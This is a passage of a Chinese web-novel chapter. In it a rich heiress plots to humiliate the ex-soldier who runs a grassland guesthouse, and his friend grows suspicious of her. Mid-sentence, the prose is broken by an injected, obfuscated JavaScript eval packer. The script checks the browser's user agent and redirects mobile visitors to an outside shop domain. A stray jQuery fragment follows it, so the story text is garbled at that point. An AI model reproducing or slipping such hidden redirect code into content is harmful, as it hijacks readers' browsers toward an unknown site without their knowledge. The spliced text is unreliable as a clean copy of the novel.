空调的冷风穿过二人近在咫尺的距离,拂过一丝草本苦皂味道入侵白书杳的鼻腔。
她有些招架不住这样的气势,仿佛下一秒男人就要给她爆头。
想到这狗男人毫不怜香惜玉的手法,可不能让他知道真实目的。
“不是钓你,是喜欢你。”
白书杳扬起头,露出崇拜大哥的星星眼。
她大哥十分封建,一直管控她的生活,但是每次她一用这种眼神看他,都有求必应。
一个处心积虑要钓富婆的老男人,还不得虚荣死。
“我不喜欢你,死了这条心。”
墨岩铎后撤一步,一字一顿道:“除了合同上我配合你,其余时间离我两米远。”
原本听到前面的话,白书杳还有点小挫败,但后面一句话完全是给她提供了新的思路。
土包子钓富婆果然有一手,暗示的可真明显。
“好啊,那我现在就要画你。”
白书杳微微踮起脚尖,试图在气势上找补一些:“去我房间吗?还是....你的房间?”
淡淡的橘调香水悄无声息的渗透钢筋铁骨一般的城墙。
不烈,却清晰的钻进墨岩铎的肺腑。
“现在没空。”墨岩铎视掠过她的头顶看向外面。
白书杳顺着他的视线回头,摆渡车停靠在门口,陆陆续续下来十多个乘客,这次可不止是年轻的女孩子,还有几个身材壮硕的男人,以及三五个小家庭。
看其中几个人的表情大概能猜到,和她前天来的时候一样,期望落空又略带嫌弃。
她心里暗暗祈祷有人投诉墨岩,315,工商局,镇政府联合投诉。
让他走投无路,摇尾乞怜的跪在自己脚边说:
[求求你了美富婆,都是我有眼无珠,不识抬举,你大人不计小人过,饶了我吧。]
越想心里越邪恶,险些笑出声来,等再回头时,男人早已消失不见了。
她想到刚刚墨岩说的话,现在没空,那岂不是得晚上?
哈,土包子真不要脸。
白书杳脑海里不自觉的形成一幅3D建模场景:
红酒、牛排、鲜花、烛台....
她穿着修饰腰身的真丝裙,美女与野兽花前月下……
咦~想到墨岩身上那股悍匪劲儿,捏着小巧的高脚杯装人喝酒的画面,毛骨悚然。
这里只有牛栏山哪有红酒,山猪吃不了细糠,有也不给他喝。
白书杳信心倍增回房间准备今晚的特殊“约会”,一定能把土包子迷得神魂颠倒!
她不知道离开的背影一直有人在默默注视。
直至彻底消失,苏日娜才收回视线。
刚刚来帮小陈择菜,听几个人聊最近民宿的人变多,进项也多,她也跟着高兴。
只是话题逐渐偏向墨岩铎和丁晓敏的八卦。
越听越觉得不对劲儿。
他们满打满算认识三年,去年墨岩铎来到草原,说要开民宿,她就将这片最好的牧区和这栋旧房子免费借给他,但墨岩铎坚持给房租。
一来二去算是彻底熟识。
苏日娜知道墨岩铎这张脸一定会招桃花,但没想到会招来一朵食人花。
这个丁晓敏百分之一百有问题。
她学了两年刑侦,虽然还没出师,但从几个人滔滔不绝的陈述中,她抓住了几个重点:
丁晓敏是帝都来的大小姐,入住当日并不喜欢这里,为什么还要留下?这是其一。
其二,按照周铁叙述,他们回来时被巨隼袭击,又看到墨岩的越野车,当时丁晓敏是生气的。
可今日笑的比杜鹃花还灿烂,这很不符合一个娇生惯养大小姐的人物画像。
又想到刚刚的水瓶,应该不是拧不开瓶盖,而是故意让岩哥帮她拧。
苏日娜在帝都上了两年学,认识几个当地的富二代,听说他们的那个圈子的感情观就是,婚前能玩就玩,婚后各玩各的也有。
换对象比换衣服还勤,甚至同时谈好几个玩弄感情的也不在少数。
这朵食人花问题可太大了。
苏日娜觉得这条命是岩哥救的,有义务帮他搞清楚这朵食人花的真正目的。
耳边还是唧唧歪歪的八卦,一个个嘴咧到耳根后面,笑的贼兮兮的,好像抱得美人归的是他们。
苏日娜嫌弃瞪他们好几眼,人还是不能太闲,退伍以后,这群人的侦查能力明显下降。
这目光太过明显,周铁很快有所察觉,想起这一年多那顺明里暗里的想要撮合墨岩铎和苏日娜,大概是这话题让苏日娜不高兴了。
他用力咳嗽了两下,顿时吸引了所有目光:“那个聊的也差不多啊,快到中午了,游客快回来了,准备准备做饭。”
小陈:“可是我做饭不好吃啊,王哥又突然走了。”
苏日娜放下手里的韭菜:“我会煮羊汤,中午就当一个草原特色。”
众人顿时面露喜色,异口同声说道:“谢谢娜姐了。”
“呵呵,这个时候不是晓敏好了?”
“……”
-
晚/九点
白书杳百无聊赖趴在床上,身下垫了四层厚厚的被子,面前放着一个牛皮本,边吃牛肉干边分析丁筱柚打探回来的情报。
能确定的是,这里的工作人员确实都是退伍军人。
奇怪的是,好几个战友看着挺正常,实际上一点重活都干不了。
但再问下去,所有人都插科打诨聊别的话题。
所以目前为止,她看到的扛米面重活都是墨岩铎做,其他人做一些相对轻松、琐碎的活。
白书杳在手稿上画了每个人的简笔画,以及对应的工作分工。
小陈是前台,几乎从早站到晚,那他的腰腿肯定没问题,可能是上半身受过伤。
周铁负责民宿的保洁,被子叠得跟豆腐块似的,十分细心。
保洁需要弯腰和双手,那可能是腿脚有问题。
白书杳每分析一个人,就在相对应的地方打个叉做标注,十个人全部分析完以后,只剩下最后一个墨岩铎。
她果断在腰上打个大大的叉,今天她可是看的清楚,这男人腰不好。
笔戳在下巴处思忖:一整天都没怎么看见墨岩,不是在搬东西就是打电话,搞得民宿唯一的劳动力只有他似的。
不会带团队就只能干到死。
这人脑子不行啊。
又在头的位置打叉。
她看着眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700134|208127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前这张纸,民宿像重伤员收容所似的。
而且,墨岩腰不好还干重活,这人得腰肌劳损成什么样啊?
早知道就带保镖来,一定能把墨岩按在地上摩擦。
不知不觉满月已爬上窗头,白书杳还沉浸在自己的报复计划里无法自拔,一遍一遍打磨自己的复仇草稿。
“咚咚咚”
敲门声响起,白书杳支起耳朵仓皇收起画稿,东掖西藏最后塞进床垫下面。
她起身前看了一眼准备的烛光晚餐,虽然没有牛排也没有红酒,但有蜡烛和鲜花点缀。
硬件不行,从氛围感上设计巧思,对于学艺术的小菜一碟。
白书杳理了理头发,打开门前又被穿衣镜绊住脚步,玫瑰金缎面吊带裙,这可是她找的私人定制,完全贴合身材曲线,拉长比例。
土包子肯定没见过这么美的富婆。
白书杳欣赏够了,开门前顺手关灯,瞬间营业灿烂假笑:“晚上好~”
然而,男人面无表情的杵在门口像是上门来修管道的焊工。
白书杳笑容僵硬一瞬,感觉头顶的光环在褪色,这男人什么反应?
他是瞎了还是瞎了?
这么大一个美女他居然这么淡定。
白书杳抿唇,上下扫他一眼,还是那件干活穿的脏衣服,领口还有一圈汗渍留下的圈痕。
她不敢想这人顶着比男神还帅的脸,怎么能这么邋遢,昨天还不这样呢。
“进来吧。”
白书杳后退一步,心里无比嫌弃臭烘烘的男人要进她的房间。
“开着门。”
墨岩铎手里握着一瓶水进来,把门撑开。
进门时打开房间主灯巡视一圈,落在桌面摆放的烛台和路边摘的野花,伸手拔了出来扔进垃圾桶。
“你干什么?”
白书杳嗔怪:“为什么拔我插好的花?”
“野生芍药,柳兰,黄花蒿,这类野花长时间闻会诱发鼻炎。”
墨岩铎拉开椅子坐下,双腿岔开,一口气吹灭桌上所有蜡烛:
“还有,这房间聚酯纤维过多,稍有不慎,点燃的蜡烛容易引发火灾,非必要不使用。”
白书杳嘴角狠狠抽了两下,随即背过身去,双手在脸颊旁扇风,心里给自己打气:
石头嘛,是这样的。
这都是土包子在欲擒故纵,现在要做的就是顺势而为,以为被他拿捏。
可以的,白书杳一定可以的!
再转身时,白书杳重新扬起笑脸,狐狸眼弯成月牙:“我觉得你说的对,那我们现在开始吧。”
“我要做什么?”墨岩铎拧开水喝水。
突出的喉结连续滑动,看的白书杳灵感爆棚,这男人虽然邋遢但硬帅啊,这喉结比男神的性感多了,还有这个下颌线。
简直是新的灵感缪斯。
“喂。”
墨岩铎在她面前打了个响指:“在问你话。”
“哦...”白书杳挠了挠鼻尖:“脱衣服。”
墨岩铎起身就走,白书杳身体比脑子快,冲到他面前拦住:“你干什么,有没有契约精神。”
“契约里没让我卖肉。”
他说完,房间陷入一片死寂。